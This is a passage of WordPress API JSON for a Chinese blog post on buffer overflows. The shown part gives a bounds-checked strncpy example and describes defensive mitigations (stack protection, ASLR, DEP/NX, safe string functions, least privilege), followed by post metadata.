    \u5b89\u5168\u7248\u672c<\/p>\n
    void safe_function(char* source) {\n    char buffer[10];\n    strncpy(buffer, source, sizeof(buffer) - 1); \/\/ \u5e26\u6709\u8fb9\u754c\u68c0\u67e5\u7684\u5b89\u5168\u7248\u672c\n    buffer[sizeof(buffer) - 1] = '\\0'; \/\/ \u786e\u4fdd\u4ee5 null \u7ed3\u675f\n}\n<\/code><\/pre>\n
    2.\u6808\u4fdd\u62a4\u6280\u672f<\/h3>\n
    \u4f7f\u7528\u6808\u4fdd\u62a4\u6280\u672f\uff0c\u5982\u6808\u6ea2\u51fa\u4fdd\u62a4\uff08Stack Smashing Protection\uff09\u6216\u5806\u6808\u4fdd\u62a4\u5668\uff08Stack Protector\uff09\uff0c\u53ef\u4ee5\u5728\u7f16\u8bd1\u65f6\u6216\u8fd0\u884c\u65f6\u68c0\u6d4b\u6808\u6ea2\u51fa\u60c5\u51b5\uff0c\u5e76\u89e6\u53d1\u5f02\u5e38\u5904\u7406\uff0c\u4ece\u800c\u9632\u6b62\u6076\u610f\u4ee3\u7801\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u3002<\/p>\n
    3.ASLR\uff08\u5730\u5740\u7a7a\u95f4\u5e03\u5c40\u968f\u673a\u5316<\/h3>\n
    ASLR \u662f\u4e00\u79cd\u5b89\u5168\u673a\u5236\uff0c\u53ef\u4ee5\u968f\u673a\u5730\u5c06\u7a0b\u5e8f\u548c\u7cfb\u7edf\u5e93\u52a0\u8f7d\u5230\u5185\u5b58\u7684\u4e0d\u540c\u4f4d\u7f6e\uff0c\u4ece\u800c\u589e\u52a0\u653b\u51fb\u8005\u731c\u6d4b\u76ee\u6807\u5730\u5740\u7684\u96be\u5ea6\u3002\u8fd9\u53ef\u4ee5\u51cf\u5c11\u6210\u529f\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u7684\u53ef\u80fd\u6027\u3002<\/p>\n
    4.DEP\/NX\uff08\u6570\u636e\u6267\u884c\u4fdd\u62a4\/\u4e0d\u53ef\u6267\u884c\u5185\u5b58<\/h3>\n
    DEP\/NX \u6280\u672f\u5c06\u5185\u5b58\u4e2d\u7684\u6570\u636e\u533a\u548c\u4ee3\u7801\u533a\u5206\u5f00\uff0c\u9632\u6b62\u5728\u6570\u636e\u533a\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u653b\u51fb\u4e2d\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002<\/p>\n
    \u4f7f\u7528\u5b89\u5168\u51fd\u6570\u548c\u5e93<\/h3>\n
    \u4f7f\u7528\u7ecf\u8fc7\u5b89\u5168\u5ba1\u8ba1\u7684\u51fd\u6570\u548c\u5e93\uff0c\u53ef\u4ee5\u5e2e\u52a9\u51cf\u5c11\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u7684\u98ce\u9669\u3002\u4f8b\u5982\uff0c\u4f7f\u7528\u5b89\u5168\u7684\u5b57\u7b26\u4e32\u5904\u7406\u51fd\u6570\u5982 snprintf \u66ff\u4ee3 sprintf\u3002<\/p>\n
    \u6700\u5c0f\u7279\u6743\u539f\u5219<\/h3>\n
    \u5728\u7f16\u5199\u4ee3\u7801\u65f6\uff0c\u8981\u4ee5\u6700\u5c0f\u7279\u6743\u539f\u5219\u4e3a\u6307\u5bfc\uff0c\u786e\u4fdd\u7a0b\u5e8f\u4ec5\u62e5\u6709\u5fc5\u8981\u7684\u8bbf\u95ee\u6743\u9650\uff0c\u4ece\u800c\u9650\u5236\u653b\u51fb\u8005\u53ef\u80fd\u5229\u7528\u7684\u653b\u51fb\u9762\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
    [Sec]\u7f13\u51b2\u533a\u6ea2\u51fa\u539f\u7406\u4ee5\u53ca\u5b9e\u8df5\u5256\u6790 \u4ec0\u4e48\u662f\u7f13\u51b2\u533a \u5728\u8bb2\u7f13\u51b2\u533a\u6ea2\u51fa\u4e4b\u524d\u5462\uff0c\u9996\u5148\u8bb2\u8bb2\u4ec0\u4e48\u662f\u7f13\u51b2\u533a \u8ba1\u7b97\u673a\u4e2d\u6709\u4e00\u4e2a […]<\/p>\n","protected":false},"author":1,"featured_media":181,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,1,6],"tags":[],"class_list":["post-515","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-pwn","category-uncategorized","category-sec"],"_links":{"self":[{"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/posts\/515","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/comments?post=515"}],"version-history":[{"count":33,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/posts\/515\/revisions"}],"predecessor-version":[{"id":575,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/posts\/515\/revisions\/575"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/media\/181"}],"wp:attachment":[{"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/media?parent=515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/categories?post=515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/tags?post=515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}